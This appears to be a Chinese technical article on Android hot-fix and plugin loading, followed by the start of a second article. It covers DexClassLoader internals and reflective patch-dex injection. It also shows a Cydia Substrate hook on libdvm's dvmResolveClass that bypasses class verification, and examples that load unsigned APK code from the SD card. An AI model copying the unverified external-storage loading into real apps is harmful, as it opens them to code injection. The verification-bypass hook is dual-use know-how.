\n\n对于`Android`的应用程序，本质上虽然也是用`Java`开发，并且使用标准的`Java`编译器编译出`Class`文件，但最终的`APK`文件中包含的却是`dex`类型的文件。`dex`文件是将所需的所有`Class`文件重新打包，打包的规则不是简单的压缩，而是完全对`Class`文件内部的各种函数表、变量表等进行优化，并产生一个新的文件，这就是`dex`文件。由于`dex`文件是一种经过优化的`Class`文件，因此要加载这样特殊的`Class`文件就需要特殊的类装载器，这就是`DexClassLoader`，`Android SDK`中提供的D`exClassLoader`类就是出于这个目的。\n\n\n总体来说，`Android` 默认主要有三个`ClassLoader`:   \n\n- `BootClassLoader`: 系统启动时创建            \n    `Provides an explicit representation of the boot class loader. It sits at the\n    head of the class loader chain and delegates requests to the VM's internal\n    class loading mechanism.`\n- `PathClassLoader`: 可以加载`/data/app`目录下的`apk`，这也意味着，它只能加载已经安装的`apk`；\n- `DexClassLoader`: 可以加载文件系统上的`jar`、`dex`、`apk`；可以从`SD`卡中加载未安装的`apk`\n\n\n通过上面的分析知道，如果用多个`dex`的话肯定会用到`DexClassLoader`类，我们首先来看一下它的源码(这里\n插一嘴，源码可以去[googlesource](https://android.googlesource.com/platform/libcore-snapshot/+/ics-mr1/dalvik/src/main/java/dalvik/system)中找):  \n```java\n/**\n * A class loader that loads classes from {@code .jar} and {@code .apk} files\n * containing a {@code classes.dex} entry. This can be used to execute code not\n * installed as part of an application.\n *\n * <p>This class loader requires an application-private, writable directory to\n * cache optimized classes. Use {@code Context.getDir(String, int)} to create\n * such a directory: <pre>   {@code\n *   File dexOutputDir = context.getDir(\"dex\", 0);\n * }</pre>\n *\n * <p><strong>Do not cache optimized classes on external storage.</strong>\n * External storage does not provide access controls necessary to protect your\n * application from code injection attacks.\n */\npublic class DexClassLoader extends BaseDexClassLoader {\n    /**\n     * Creates a {@code DexClassLoader} that finds interpreted and native\n     * code.  Interpreted classes are found in a set of DEX files contained\n     * in Jar or APK files.\n     *\n     * <p>The path lists are separated using the character specified by the\n     * {@code path.separator} system property, which defaults to {@code :}.\n     *\n     * @param dexPath the list of jar/apk files containing classes and\n     *     resources, delimited by {@code File.pathSeparator}, which\n     *     defaults to {@code \":\"} on Android\n     * @param optimizedDirectory directory where optimized dex files\n     *     should be written; must not be {@code null}\n     * @param libraryPath the list of directories containing native\n     *     libraries, delimited by {@code File.pathSeparator}; may be\n     *     {@code null}\n     * @param parent the parent class loader\n     */\n    public DexClassLoader(String dexPath, String optimizedDirectory,\n            String libraryPath, ClassLoader parent) {\n        super(dexPath, new File(optimizedDirectory), libraryPath, parent);\n    }\n}\n```\n注释说的太明白了，这里就不翻译了，但是我们并没有找到加载的代码，去它的父类中查找，\n因为家在都是从`loadClass()`方法中，所以我们去`ClassLoader`类中看一下`loadClass()`方法:   \n```java\n/**\n     * Loads the class with the specified name. Invoking this method is\n     * equivalent to calling {@code loadClass(className, false)}.\n     * <p>\n     * <strong>Note:</strong> In the Android reference implementation, the\n     * second parameter of {@link #loadClass(String, boolean)} is ignored\n     * anyway.\n     * </p>\n     *\n     * @return the {@code Class} object.\n     * @param className\n     *            the name of the class to look for.\n     * @throws ClassNotFoundException\n     *             if the class can not be found.\n     */\n    public Class<?> loadClass(String className) throws ClassNotFoundException {\n        return loadClass(className, false);\n    }\n\n    /**\n     * Loads the class with the specified name, optionally linking it after\n     * loading. The following steps are performed:\n     * <ol>\n     * <li> Call {@link #findLoadedClass(String)} to determine if the requested\n     * class has already been loaded.</li>\n     * <li>If the class has not yet been loaded: Invoke this method on the\n     * parent class loader.</li>\n     * <li>If the class has still not been loaded: Call\n     * {@link #findClass(String)} to find the class.</li>\n     * </ol>\n     * <p>\n     * <strong>Note:</strong> In the Android reference implementation, the\n     * {@code resolve} parameter is ignored; classes are never linked.\n     * </p>\n     *\n     * @return the {@code Class} object.\n     * @param className\n     *            the name of the class to look for.\n     * @param resolve\n     *            Indicates if the class should be resolved after loading. This\n     *            parameter is ignored on the Android reference implementation;\n     *            classes are not resolved.\n     * @throws ClassNotFoundException\n     *             if the class can not be found.\n     */\n    protected Class<?> loadClass(String className, boolean resolve) throws ClassNotFoundException {\n        Class<?> clazz = findLoadedClass(className);\n\n        if (clazz == null) {\n            ClassNotFoundException suppressed = null;\n            try {\n            \t// 先检查父ClassLoader是否已经家在过该类\n                clazz = parent.loadClass(className, false);\n            } catch (ClassNotFoundException e) {\n                suppressed = e;\n            }\n\n            if (clazz == null) {\n                try {\n                \t// 调用DexClassLoader.findClass()方法。\n                    clazz = findClass(className);\n                } catch (ClassNotFoundException e) {\n                    e.addSuppressed(suppressed);\n                    throw e;\n                }\n            }\n        }\n\n        return clazz;\n    }\n```\n上面会调用`DexClassLoader.findClass()`方法，但是`DexClassLoader`没有实现该方法，所以去它的父类`BaseDexClassLoader`中看，接着看一下`BaseDexClassLoader`的源码:    \n```java\n/**\n * Base class for common functionality between various dex-based\n * {@link ClassLoader} implementations.\n */\npublic class BaseDexClassLoader extends ClassLoader {\n    /** originally specified path (just used for {@code toString()}) */\n    private final String originalPath;\n    /** structured lists of path elements */\n    private final DexPathList pathList;\n    /**\n     * Constructs an instance.\n     *\n     * @param dexPath the list of jar/apk files containing classes and\n     * resources, delimited by {@code File.pathSeparator}, which\n     * defaults to {@code \":\"} on Android\n     * @param optimizedDirectory directory where optimized dex files\n     * should be written; may be {@code null}\n     * @param libraryPath the list of directories containing native\n     * libraries, delimited by {@code File.pathSeparator}; may be\n     * {@code null}\n     * @param parent the parent class loader\n     */\n    public BaseDexClassLoader(String dexPath, File optimizedDirectory,\n            String libraryPath, ClassLoader parent) {\n        super(parent);\n        this.originalPath = dexPath;\n        this.pathList =\n            new DexPathList(this, dexPath, libraryPath, optimizedDirectory);\n    }\n    @Override\n    protected Class<?> findClass(String name) throws ClassNotFoundException {\n        // 从DexPathList中找\n        Class clazz = pathList.findClass(name);\n        if (clazz == null) {\n            throw new ClassNotFoundException(name);\n        }\n        return clazz;\n    }\n    @Override\n    protected URL findResource(String name) {\n        return pathList.findResource(name);\n    }\n    @Override\n    protected Enumeration<URL> findResources(String name) {\n        return pathList.findResources(name);\n    }\n    @Override\n    public String findLibrary(String name) {\n        return pathList.findLibrary(name);\n    }\n\n```\n在`findClass()`方法中我们看到调用了`DexPathList.findClass()`方法:   \n```java\n/**\n * A pair of lists of entries, associated with a {@code ClassLoader}.\n * One of the lists is a dex/resource path &mdash; typically referred\n * to as a \"class path\" &mdash; list, and the other names directories\n * containing native code libraries. Class path entries may be any of:\n * a {@code .jar} or {@code .zip} file containing an optional\n * top-level {@code classes.dex} file as well as arbitrary resources,\n * or a plain {@code .dex} file (with no possibility of associated\n * resources).\n *\n * <p>This class also contains methods to use these lists to look up\n * classes and resources.</p>\n */\n/*package*/ final class DexPathList {\n    private static final String DEX_SUFFIX = \".dex\";\n    private static final String JAR_SUFFIX = \".jar\";\n    private static final String ZIP_SUFFIX = \".zip\";\n    private static final String APK_SUFFIX = \".apk\";\n    /** class definition context */\n    private final ClassLoader definingContext;\n    /** list of dex/resource (class path) elements */ \n    // 把dex封装成一个数组，每个Element代表一个dex\n    private final Element[] dexElements;\n    /** list of native library directory elements */\n    private final File[] nativeLibraryDirectories;\n\n    // .....\n\n    /**\n     * Finds the named class in one of the dex files pointed at by\n     * this instance. This will find the one in the earliest listed\n     * path element. If the class is found but has not yet been\n     * defined, then this method will define it in the defining\n     * context that this instance was constructed with.\n     *\n     * @return the named class or {@code null} if the class is not\n     * found in any of the dex files\n     */\n    public Class findClass(String name) {\n        for (Element element : dexElements) {\n            DexFile dex = element.dexFile;\n            // 遍历数组，拿到第一个就返回\n            if (dex != null) {\n                Class clazz = dex.loadClassBinaryName(name, definingContext);\n                if (clazz != null) {\n                    return clazz;\n                }\n            }\n        }\n        return null;\n    }\n}\n```\n从上面的源码中分析，我知道系统会把所有相关的`dex`维护到一个数组中，然后在加载类的时候会从该数组中的第一个元素中取，然后返回。那我们只要保证将我们热修复后的`dex`对应的`Element`放到该数组的第一个位置就可以了，这样系统就会加载我们热修复的`dex`中的类。   \n所以方案出来了，只要把有问题的类修复后，放到一个单独的`dex`，然后把该`Dex`转换成对应的`Element`后再将该`Element`插入到`dexElements`数组的第一个位置就可以了。那该如何去将其插入到`dexElements`数组的第一个位置呢？-- 暴力反射。      \n\n\n\n到这里我感觉初步的思路已经有了:      \n\n- 将补丁作为`dex`发布。 \n- 通过反射修改该`dex`所对应的`Element`在数组中的位置。 \n\n但是我也想到肯定还会有类似下面的问题:     \n\n- 资源文件的处理\n- 四大组件的处理\n- 清单文件的处理\n\n\n虽然我知道没有这么简单，但是我还是决定抱着不作不死的宗旨继续前行。    \n\n好了，`demo`走起来。    \n\n\n怎么生成`dex`文件呢？ 这要讲过两部分:   \n\n- `.class`-> `.jar` : `jar  -cvf test.jar com/charon/instantfix_sample/MainActivity.class`\n- `.jar`-> `.dex`: `dx --dex --output=target.jar test.jar` `target.jar`就是包含`.dex`的`jar`包\n\n\n生成好`dex`后我们为了模拟先将其放到`asset`目录下(实际开发中肯定要从接口中去下载，当然还会有一些版本号的判断等)，然后就是将该`dex`转换成\n   \n\n方案中采用的是`MultiDex`，对其进行一部分改造，具体代码:    \n\n- 添加`dex`文件，并执行`install`\n\n```java\n/**\n* 添加apk包外的dex文件\n* 自动执行install\n* @param dexFile\n*/\npublic static void addDexFileAutoInstall(Context context, List<File> dexFile,File optimizedDirectory) {\n    if (dexFile != null && !dexFile.isEmpty() &&!dexFiles.contains(dexFile)) {\n         dexFiles.addAll(dexFile);\n         LogUtil.d(TAG, \"add other dexfile\");\n         installDexFile(context,optimizedDirectory);\n     }\n}\n```\n\n- `installDexFile`直接调用`MultiDex`的`installSecondaryDexes`方法 \n\n```java\n/**\n * 添加apk包外的dex文件，\n * @param context\n */\npublicstatic void installDexFile(Context context, File optimizedDirectory){\n    if (checkValidZipFiles(dexFiles)) {\n        try {\n            installSecondaryDexes(context.getClassLoader(), optimizedDirectory, dexFiles);\n        } catch (IllegalAccessExceptione){\n           e.printStackTrace();\n        } catch (NoSuchFieldExceptione) {\n           e.printStackTrace();\n        } catch (InvocationTargetExceptione){\n           e.printStackTrace();\n        } catch (NoSuchMethodExceptione) {\n           e.printStackTrace();\n        } catch (IOExceptione) {\n           e.printStackTrace();\n        }\n    }\n}\n```\n\n- 将`patch.dex`放在所有`dex`最前面\n\n```java\nprivate static voidexpandFieldArray(Object instance, String fieldName, Object[]extraElements) throws NoSuchFieldException, IllegalArgumentException,\nIllegalAccessException {\n    Field jlrField = findField(instance, fieldName);\n    Object[]original = (Object[]) jlrField.get(instance);\n    Object[]combined = (Object[]) Array.newInstance(original.getClass().getComponentType(),original.length + extraElements.length);\n    // 将后来的dex放在前面，主dex放在最后。\n    System.arraycopy(extraElements, 0, combined, 0, extraElements.length);\n    System.arraycopy(original, 0, combined, extraElements.length,original.length);\n    // 原始的dex合并，是将主dex放在前面，其他的dex依次放在后面。\n    //System.arraycopy(original, 0, combined, 0, original.length);\n    //System.arraycopy(extraElements, 0, combined, original.length,extraElements.length);\n    jlrField.set(instance, combined);\n}\n```\n\n到此将`patch.dex`放进了`Element`，接下来的问题就是加载`Class`，当加载`patch.dex`中类的时候，会遇到一个问题，这个问题就是`QQ`空间团队遇到的`Class`的`CLASS_ISPREVERIFIED`。具体原因是`dvmResolveClass`这个方法对`Class`进行了校验。判断这个要`Resolve`的`class`是否和其引用来自一个`dex`。如果不是，就会遇到问题。\n \n当引用这和被引用者不在同一个`dex`中就会抛出异常，导致`Resolve`失败。`QQ`空间团队的方案是阻止所有的`Class`类打上`CLASS_ISPREVERIFIED`来逃过校验，这种方式其实是影响性能。\n我们的方案是和`QQ`团队的类似，但是和`QQ`空间不同的是，我们将`fromUnverifiedConstant`设置为`true`，来逃过校验，达到补丁的路径。具体怎么实现呢？\n要引用`Cydia Hook`技术来`hook Native dalvik`中`dvmResolveClass`这个方法。有关`Cydia Hook`技术请参考:   \n\n- [官网地址](http://www.cydiasubstrate.com/)\n- [官方教程](http://www.cydiasubstrate.com/id/38be592b-bda7-4dd2-b049-cec44ef7a73b)\n- [SDK下载地址](http://asdk.cydiasubstrate.com/zips/cydia_substrate-r2.zip)\n\n\n具体代码如下:   \n```java\n//指明要hook的lib ：\nMSConfig(MSFilterLibrary,\"/system/lib/libdvm.so\")\n \n// 在初始化的时候进行hook\nMSInitialize {\n    LOGD(\"Cydia Init\");\n    MSImageRef image;\n    //载入lib\n    image = MSGetImageByName(\"/system/lib/libdvm.so\");\n    if (image != NULL) {\n        LOGD(\"image is not null\");\n        void *dexload=MSFindSymbol(image,\"dvmResolveClass\");\n        if(dexload != NULL) {\n            LOGD(\"dexloadis not null\");\n            MSHookFunction(dexload, (void*)proxyDvmResolveClass, (void**)&dvmResolveClass_Proxy);\n        } else{\n            LOGD(\"errorfind dvmResolveClass\");\n        }\n    }\n}\n// 在初始化的时候进行hook//保留原来的地址\nClassObject* (*dvmResolveClass_Proxy)(ClassObject* referrer, u4 classIdx, boolfromUnverifiedConstant);\n// 新方法地址\nstatic ClassObject* proxyDvmResolveClass(ClassObject* referrer, u4 classIdx,bool fromUnverifiedConstant) {\n        return dvmResolveClass_Proxy(referrer, classIdx,true);\n}\n```\n\n说到此处，似乎已经是一个完整的方案了，但在实践中，会发现运行加载类的时候报`preverified`错误，原来在`DexPrepare.cpp`，将`dex`转化成`odex`的过程中，会在`DexVerify.cpp`进行校验，\n验证如果直接引用到的类和`clazz`是否在同一个`dex`，如果是，则会打上`CLASS_ISPREVERIFIED`标志。通过在所有类（`Application`除外，当时还没加载自定义类的代码）的构造函数插入一个对在单独的`dex`的类的引用，就可以解决这个问题。空间使用了`javaassist`进行编译时字节码插入。\n\n所以为了实现补丁方案，所以必须从这些方法中入手，防止类被打上`CLASS_ISPREVERIFIED`标志。 最终空间的方案是往所有类的构造函数里面插入了一段代码，代码如下：\n\n```java\nif (ClassVerifier.PREVENT_VERIFY) {\n    System.out.println(AntilazyLoad.class);\n}\n```\n\n其中`AntilazyLoad`类会被打包成单独的`antilazy.dex`，这样当安装`apk`的时候，`classes.dex`内的类都会引用一个在不相同`dex`中的`AntilazyLoad`类，这样就防止了类被打上`CLASS_ISPREVERIFIED`的标志了，只要没被打上这个标志的类都可以进行打补丁操作。 然后在应用启动的时候加载进来`AntilazyLoad`类所在的`dex`包必须被先加载进来,不然`AntilazyLoad`类会被标记为不存在，即使后续加载了`hack.dex`包，那么他也是不存在的，这样屏幕就会出现茫茫多的类`AntilazyLoad`找不到的`log`。 所以`Application`作为应用的入口不能插入这段代码。（因为载入`hack.dex`的代码是在`Application`中`onCreate`中执行的，如果在`Application`的构造函数里面插入了这段代码，那么就是在`hack.dex`加载之前就使用该类，该类一次找不到，会被永远的打上找不到的标志)\n\n如何打包补丁包:    \n\n１. 空间在正式版本发布的时候，会生成一份缓存文件，里面记录了所有`class`文件的`md5`，还有一份`mapping`混淆文件。\n２. 在后续的版本中使用`-applymapping`选项，应用正式版本的`mapping`文件，然后计算编译完成后的`class`文件的`md5`和正式版本进行比较，把不相同的`class`文件打包成补丁包。\n备注:该方案现在也应用到我们的编译过程当中,编译不需要重新打包`dex`,只需要把修改过的类的`class`文件打包成`patch dex`,然后放到`sdcard`下,那么就会让改变的代码生效。\n\n在`Java`中，只有当两个实例的类名、包名以及加载其的`ClassLoader`都相同，才会被认为是同一种类型。上面分别加载的新类和旧类，虽然包名和类名都完全一样，但是由于加载的`ClassLoader`不同，所以并不是同一种类型，在实际使用中可能会出现类型不符异常。\n同一个`Class`=相同的`ClassName + PackageName + ClassLoader`\n以上问题在采用动态加载功能的开发中容易出现，请注意。\n\n通过上面的分析，我们知道使用`ClassLoader`动态加载一个外部的类是非常容易的事情，所以很容易就能实现动态加载新的可执行代码的功能，但是比起一般的`Java`程序，在`Android`程序中使用动态加载主要有两个麻烦的问题:    \n\n- `Android`中许多组件类(如`Activity、Service`等)是需要在`Manifest`文件里面注册后才能工作的(系统会检查该组件有没有注册)，所以即使动态加载了一个新的组件类进来，没有注册的话还是无法工作；\n- `Res`资源是`Android`开发中经常用到的，而`Android`是把这些资源用对应的`R.id`注册好，运行时通过这些`ID`从`Resource`实例中获取对应的资源。如果是运行时动态加载进来的新类，那类里面用到`R.id`的地方将会抛出找不到资源或者用错资源的异常，因为新类的资源ID根本和现有的`Resource`实例中保存的资源`ID`对不上；\n\n说到底，抛开虚拟机的差别不说，一个`Android`程序和标准的`Java`程序最大的区别就在于他们的上下文环境`(Context)`不同。`Android`中，这个环境可以给程序提供组件需要用到的功能，也可以提供一些主题、`Res`等资源，其实上面说到的两个问题都可以统一说是这个环境的问题，而现在的各种`Android`动态加载框架中，核心要解决的东西也正是“如何给外部的新类提供上下文环境”的问题。\n\n`DexClassLoader`的使用方法一般有两种:   \n\n- 从已安装的`apk`中读取`dex`\n- 从`apk`文件中读取`dex`\n\n假如有两个`APK`，一个是宿主`APK`，叫作`HOST`，一个是插件`APK`，叫作`Plugin`。`Plugin`中有一个类叫`PluginClass`，代码如下:  \n```java\npublic class PluginClass {\n    public PluginClass() {\n        Log.d(\"JG\",\"初始化PluginClass\");\n    }\n\n    public int function(int a, int b){\n        return a+b;  \n    }  \n}\n```\n现在如果想调用插件`APK`中`PluginClass`内的方法，应该怎么办？\n\n#### 从已安装的apk中读取dex\n\n先来看第一种方法，这种方法必须建一个`Activity`，在清单文件中配置`Action`.\n\n```java\n<activity android:name=\".MainActivity\">\n         <intent-filter>\n             <action android:name=\"com.maplejaw.plugin\"/>\n         </intent-filter>\n</activity>\n```\n然后在宿主`APK`中如下使用:       \n```java\n/**\n   * 这种方式用于从已安装的apk中读取，必须要有一个activity，且需要配置ACTION\n   */\nprivate void useDexClassLoader(){\n      //创建一个意图，用来找到指定的apk\n      Intent intent = new Intent(\"com.maplejaw.plugin\");\n      //获得包管理器\n      PackageManager pm = getPackageManager();\n      List<ResolveInfo> resolveinfoes =  pm.queryIntentActivities(intent, 0);\n      if(resolveinfoes.size()==0){\n          return;\n      }\n      //获得指定的activity的信息\n      ActivityInfo actInfo = resolveinfoes.get(0).activityInfo;\n\n      //获得包名\n      String packageName = actInfo.packageName;\n      //获得apk的目录或者jar的目录\n      String apkPath = actInfo.applicationInfo.sourceDir;\n      //dex解压后的目录,注意，这个用宿主程序的目录，android中只允许程序读取写自己\n      //目录下的文件\n      String dexOutputDir = getApplicationInfo().dataDir;\n\n      //native代码的目录\n      String libPath = actInfo.applicationInfo.nativeLibraryDir;\n\n      //创建类加载器，把dex加载到虚拟机中\n      DexClassLoader calssLoader = new DexClassLoader(apkPath, dexOutputDir, libPath,\n              this.getClass().getClassLoader());\n\n      //利用反射调用插件包内的类的方法\n\n      try {\n          Class<?> clazz = calssLoader.loadClass(packageName+\".PluginClass\");\n\n          Object obj = clazz.newInstance();\n          Class[] param = new Class[2];\n          param[0] = Integer.TYPE;\n          param[1] = Integer.TYPE;\n\n          Method method = clazz.getMethod(\"function\", param);\n\n          Integer ret = (Integer)method.invoke(obj, 12,34);\n\n          Log.d(\"JG\", \"返回的调用结果为:\" + ret);\n\n      } catch (Exception e) {\n          e.printStackTrace();\n      } \n  }\n```\n我们安装完两个`APK`后，在宿主中就可以直接调用，调用示例如下。\n\n```java\npublic void btnClick(View view){\n    useDexClassLoader();\n}\n```\n\n#### 从apk文件中读取dex\n\n这种方法由于并不需要安装，所以不需要通过`Intent`从`activity`中解析信息。换言之，这种方法不需要创建`Activity`。无需配置清单文件。我们只需要打包一个`apk`，然后放到`SD`卡中即可。\n核心代码如下:    \n\n```java\n//apk路径\nString path=Environment.getExternalStorageDirectory().getAbsolutePath()+\"/1.apk\";\n\nprivate void useDexClassLoader(String path){\n  \n    File codeDir=getDir(\"dex\", Context.MODE_PRIVATE);\n\n    //创建类加载器，把dex加载到虚拟机中\n    DexClassLoader calssLoader = new DexClassLoader(path, codeDir.getAbsolutePath(), null,\n            this.getClass().getClassLoader());\n\n    //利用反射调用插件包内的类的方法\n\n    try {\n        Class<?> clazz = calssLoader.loadClass(\"com.maplejaw.plugin.PluginClass\");\n\n        Object obj = clazz.newInstance();\n        Class[] param = new Class[2];\n        param[0] = Integer.TYPE;\n        param[1] = Integer.TYPE;\n\n        Method method = clazz.getMethod(\"function\", param);\n\n        Integer ret = (Integer)method.invoke(obj, 12,21);\n\n        Log.d(\"JG\", \"返回的调用结果为: \" + ret);\n\n    } catch (Exception e) {\n        e.printStackTrace();\n    } \n\n```\n\n\n动态加载的几个关键问题:    \n\n- 资源访问:无法找到某某`id`所对应的资源\n    因为将`apk`加载到宿主程序中去执行，就无法通过宿主程序的`Context`去取到`apk`中的资源,比如图片、文本等，这是很好理解的，因为`apk`已经不存在上下文了，它执行时所采用的上下文是宿主程序的上下文，\n    用别人的`Context`是无法得到自己的资源的\n    \n    - 解决方案一：插件中的资源在宿主程序中也预置一份；     \n        缺点：增加了宿主`apk`的大小；在这种模式下，每次发布一个插件都需要将资源复制到宿主程序中，这意味着每发布一个插件都要更新一下宿主程序；\n    - 解决方案二：将插件中的资源解压出来，然后通过文件流去读取资源；      \n        缺点：实际操作起来还是有很大难度的。首先不同资源有不同的文件流格式，比如图片、XML等，其次针对不同设备加载的资源可能是不一样的，如何选择合适的资源也是一个需要解决的问题；\n    实际解决方案:    \n    `Activity`中有一个叫`mBase`的成员变量，它的类型就是`ContextImpl`。注意到`Context`中有如下两个抽象方法，看起来是和资源有关的，实际上`Context`就是通过它们来获取资源的。这两个抽象方法的真正实现在`ContextImpl`中；\n\n\n```java\n/** Return an AssetManager instance for your application's package. */\n    public abstract AssetManager getAssets();\n\n    /** Return a Resources instance for your application's package. */\n    public abstract Resources getResources();\n```\n具体实现:   \n```java\nprotected void loadResources() {\n    try {\n        AssetManager assetManager = AssetManager.class.newInstance();\n        Method addAssetPath = assetManager.getClass().getMethod(\"addAssetPath\", String.class);\n        addAssetPath.invoke(assetManager, mDexPath);\n        mAssetManager = assetManager;\n    } catch (Exception e) {\n        e.printStackTrace();\n    }\n    Resources superRes = super.getResources();\n    mResources = new Resources(mAssetManager, superRes.getDisplayMetrics(),\n            superRes.getConfiguration());\n    mTheme = mResources.newTheme();\n    mTheme.setTo(super.getTheme());\n}\n\n```\n\n加载资源的方法是通过反射，通过调用`AssetManager`中的`addAssetPath`方法，我们可以将一个`apk`中的资源加载到`Resources`对象中，由于`addAssetPath`是隐藏`API`我们无法直接调用，所以只能通过反射。\n\n```java\n@hide\n    public final int addAssetPath(String path) {\n    synchronized (this) {\n        int res = addAssetPathNative(path);\n        makeStringBlocks(mStringBlocks);\n        return res;\n    }\n}\n```\n\n`Activity`生命周期的管理:反射方式和接口方式。   \n反射的方式很好理解，首先通过`Java`的反射去获取`Activity`的各种生命周期方法，比如`onCreate`、`onStart`、`onResume`等，然后在代理`Activity`中去调用插件`Activity`对应的生命周期方法即可:   \n缺点：一方面是反射代码写起来比较复杂，另一方面是过多使用反射会有一定的性能开销。\n\n反射方式\n```java\n@Override\nprotected void onResume() {\n    super.onResume();\n    Method onResume = mActivityLifecircleMethods.get(\"onResume\");\n    if (onResume != null) {\n        try {\n            onResume.invoke(mRemoteActivity, new Object[] { });\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}\n\n@Override\nprotected void onPause() {\n    Method onPause = mActivityLifecircleMethods.get(\"onPause\");\n    if (onPause != null) {\n        try {\n            onPause.invoke(mRemoteActivity, new Object[] { });\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n    super.onPause();\n}\n```\n\n接口方式\n\n```java\npublic interface DLPlugin {\n\n    public void onStart();\n\n    public void onRestart();\n\n    public void onActivityResult(int requestCode, int resultCode, Intent\n\n    data);\n\n    public void onResume();\n\n    public void onPause();\n\n    public void onStop();\n\n    public void onDestroy();\n\n    public void onCreate(Bundle savedInstanceState);\n\n    public void setProxy(Activity proxyActivity, String dexPath);\n\n    public void onSaveInstanceState(Bundle outState);\n\n    public void onNewIntent(Intent intent);\n\n    public void onRestoreInstanceState(Bundle savedInstanceState);\n\n    public boolean onTouchEvent(MotionEvent event);\n\n    public boolean onKeyUp(int keyCode, KeyEvent event);\n\n    public void onWindowAttributesChanged(LayoutParams params);\n\n    public void onWindowFocusChanged(boolean hasFocus);\n\n    public void onBackPressed();\n\n…\n\n}\n```\n代理`Activity`中只需要按如下方式即可调用插件`Activity`的生命周期方法，这就完成了插件`Activity`的生命周期的管理;插件`Activity`需要实现`DLPlugin`接口:   \n```java\n@Override\nprotected void onStart() {\n    mRemoteActivity.onStart();\n    super.onStart();\n}\n\n@Override\nprotected void onRestart() {\n    mRemoteActivity.onRestart();\n    super.onRestart();\n}\n\n@Override\nprotected void onResume() {\n    mRemoteActivity.onResume();\n    super.onResume();\n}\n```\n\n\n\n- [Google Instant app](https://developer.android.com/topic/instant-apps/index.html)\n- [微信热补丁实现](https://github.com/WeMobileDev/article/blob/master/%E5%BE%AE%E4%BF%A1Android%E7%83%AD%E8%A1%A5%E4%B8%81%E5%AE%9E%E8%B7%B5%E6%BC%94%E8%BF%9B%E4%B9%8B%E8%B7%AF.md#rd)\n- [多dex分拆](http://my.oschina.net/853294317/blog/308583)\n- [QQ空间热修复方案](https://mp.weixin.qq.com/s?__biz=MzI1MTA1MzM2Nw==&mid=400118620&idx=1&sn=b4fdd5055731290eef12ad0d17f39d4a)\n- [Android dex分包方案](http://my.oschina.net/853294317/blog/308583)\n- [类加载器DexClassLoader](http://www.maplejaw.com/2016/05/24/Android%E6%8F%92%E4%BB%B6%E5%8C%96%E6%8E%A2%E7%B4%A2%EF%BC%88%E4%B8%80%EF%BC%89%E7%B1%BB%E5%8A%A0%E8%BD%BD%E5%99%A8DexClassLoader/)\n- [基于cydia Hook在线热修复补丁方案](http://blog.csdn.net/xwl198937/article/details/49801975)\n- [Android 热补丁动态修复框架小结](http://blog.csdn.net/lmj623565791/article/details/49883661)\n- [美团Android DEX自动拆包及动态加载简介](http://tech.meituan.com/mt-android-auto-split-dex.html)\n- [插件化从放弃到捡起](http://kymjs.com/column/plugin.html)\n- [无需Root也能使用Xposed！](http://weishu.me/)\n- [当你准备开发一个热修复框架的时候，你需要了解的一切](http://www.zjutkz.net/2016/05/23/%E5%BD%93%E4%BD%A0%E5%87%86%E5%A4%87%E5%BC%80%E5%8F%91%E4%B8%80%E4%B8%AA%E7%83%AD%E4%BF%AE%E5%A4%8D%E6%A1%86%E6%9E%B6%E7%9A%84%E6%97%B6%E5%80%99%EF%BC%8C%E4%BD%A0%E9%9C%80%E8%A6%81%E4%BA%86%E8%A7%A3%E7%9A%84%E4%B8%80%E5%88%87/)\t\t\n\n\n[1]: https://github.com/CharonChui/AndroidNote/blob/master/SourceAnalysis/InstantRun%E8%AF%A6%E8%A7%A3.md \"InstantRun详解\"\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/AdavancedPart/2.热修复实现(二).md",
    "content": "\n热修复实现(一)\n===\n\n之前也分析过`InstantRun`的源码，前面也写了一篇热修复实现原理的文章。\n\nBut，最近遇到困难了，所在项目要做插件化，同事在开发过程中遇到了一个在5.0以下手机崩溃的问题，想着一起找找原因修复下。\n但是这个bug已经折腾了我两天了，只找到原因，并没有找出任何解决方案。\n\n深深的感觉到之前的那些都是皮毛，没有真正的去做，真正的去处理一些细节，那些都是没任何意义的。\n\n所以这里系统学习一下，既然学习，就找一个做的最好的来学。 \n\n\n前面的文章也介绍了，目前存在的几个开源框架:   \n\n- 手机淘宝基于Xposed进行了改进，产生了针对Android Dalvik虚拟机运行时的Java Method Hook技术-Dexposed。\n但这个方案犹豫底层Dalvik结构过于依赖，最终无法兼容Android 5.0以后的ART虚拟机。 \n\n- 支付宝提出了新的方案Andfix，它同样是一种底层结构替换的方案，也达到了运行时生效即时修复的效果，而且做到了Dalvik和ART全版本的兼容。然而它也\n是由局限性的，且不说其底层固定结构的替换方案稳定性不好，其使用范文也存在着诸多限制，虽然可以通过代码改造来绕过限制达到同样的\n修复目的，但是这种方式即不优雅也不方便。而且更大的问题是Andfix只提供了代码层面的修复，对于资源和so的修复都还未实现。 \n\n- 其他的就是微信Tinker、饿了么的Amigo、美团的Robust，不过他们都各自有各自的局限性，或者不够稳定、或者补丁过大、或者效率低下\n，或者使用起来太繁琐，大部分技术上看起来似乎可行，但是实际体验并不好。\n\n我们学习的就是阿里巴巴的新一代非侵入式Android热修复方案-Sophix。\n它各个方面都比较优秀，使用也比较方便，唯一不支持的就是四大组件的修复。这是因为如果修复四大组件，必须在AndroidManifest里面预先插入代码组件，并且尽可能声明所有权限，这样就会给\n原先的app添加很多臃肿的代码，对app运行流程的侵入性很强。 \n\n\n在Sophix中，唯一需要的就是初始化和请求补丁两行代码，甚至连入口Application类我们都不需要做任何修改。\n\n这样就给了开发者最大的透明度和自由度。我们甚至重新开发了打包工具，使的补丁工具操作图形界面化，这种所见即所得的补丁生成\n方式也是阿里热修复独家的，因此，Sophix的接入成本也是目前市面上所有方案里最低的。 \n\n\n\n\n代码修复\n---\n\n代码修复有两大主要方案:   \n\n- 阿里系的底层替换方案:底层替换方案限制颇多，但是时效性最好，加载轻快，立即见效。\n\n\t底层替换方案是在已经加载了的类中直接替换掉原有的方法，是在原来类的基础上进行修改的。因而无法实现对原有类进行方法和字段的增减，因为这样将破坏原有类的结构。    \n\t一旦补丁类中出现了方法的增加和减少，就会导致这个类以及整个dex的方法数的变化，方法数的变化伴随着方法索引的变化，这样在\n\t访问方法时就无法正常的索引到正确的方法了。如果字段发生了增加或减少，和方法变化的情况一样，所有字段的索引都会发生变化。\n\t而新方法中使用到这些老的示例对象时，访问新增字段就会会产生不可预期的结果。   